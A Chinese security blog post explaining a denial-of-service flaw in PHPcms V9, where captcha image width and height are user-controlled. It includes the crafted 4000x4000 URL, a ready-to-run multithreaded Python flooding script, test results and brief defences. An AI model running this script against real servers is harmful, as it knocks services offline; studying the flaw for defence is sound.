Web安全(图片验证码大小可控导致ddos)

图片验证码大小可控导致ddos

一. 前言:
在网站登录处,通常会有图片验证码.我们知道,Web漏洞的成因都有一个很重要的共同点,那就是外部可控.
比如Sql注入中的Url,用户输入的地方可能会存在XSS等.那么如果图片验证码可控,会发生什么呢?
二 . 原理:
比如一个生成图片验证码的链接如下:

http://xx.xx.xx.xx/DEV_GBK_1.4.0/gbk/install_package/api.php?op=checkcode&code_len=4&font_size=20&width=130&height=50&font_color=&background=

这里我们注意两个参数:width和height,这两个意思字面理解为长度和宽度,那么我们尝试修改它的大小:

在这里插入图片描述
可以看到,修改大小后图片也随之改变.那么如果我们在这里找到一个临界值(能显示图片的最大长度和宽度),然后利用多线程一直去访问这个链接,是不是会造成服务端不断去处理这个请求(比预期的数据包大很多),可能会导致服务端压力过大,造成ddos攻击.

三. 实战

  1. 这里我们使用PHPcms_V9来测试: 首先搭建好环境,来到管理员登录页:

在这里插入图片描述2. 可以看到图片验证码,然后F12找到生成验证码的链接,如下:

http://xx.xx.xx/DEV_GBK_1.4.0/gbk/install_package/api.php?op=checkcode&code_len=4&font_size=20&width=500&height=500&font_color=&background=

然后尝试修改width和height,找到最大值且保证可访问.这里我找到的大概是 width=4000&height=4000
然后就可以利用脚本使用多线程去访问了

四. Python测试脚本

import requests
import threading
import time

"""
    @ 图片验证码大小可控导致ddos攻击脚本
    @ 单线程为测试,可忽略
    @ 使用时修改url即可
    @ 可根据实际情况修改访问次数,默认为10000
    @ 仅供学习参考,请勿实施攻击
    
"""

# 访问指定Url
def requser():
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36'
    }
    # 将图片的长宽设置为最大临界值的链接
    url = "http://xx.xx.xx.xx/DEV_GBK_1.4.0/gbk/install_package/api.php?op=checkcode&code_len=4&font_size=20&width=4000&height=4000&font_color=&background="
    # url = "https://www.baidu.com/"
    req = requests.get(url=url,headers=headers)
    print("resuest Success!")

# 单线程访问
def single_thread():
    for i in range(50):
        requser()
        print(f"现在是第{i}次请求网页")

# 多线程访问
def multi_thread():
    print("multi_thread begin")
    threads = []
    for i in range(10000): # 10000为访问次数,可根据实际调整
        threads.append(
            threading.Thread(target=requser)
        )
    print(threads)
    for thread in threads:
        thread.start()

    for thread in threads:
        thread.join()
    print("multi_thread end")

if __name__ == '__main__':
    # 单线程
    # single_thread()
    # 多线程
    start = time.time()
    multi_thread()
    end = time.time()
    t = end - start
    print(f"multi thread cost:{t} s")

五. 测试结果:

  1. 这里我们开启脚本去攻击,自己的服务器比较差,跑了100来次就挂了,看以下效果,已经刷不出来了:
    在这里插入图片描述
  2. 看看服务器:Apache已经挂了
    在这里插入图片描述
    六 . 防御
    这个就老生常谈了:
    (1) 指定图片验证码的大小,不让外部用户控制大小参数
    (2) 发现脚本请求直接封IP
评论 12
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值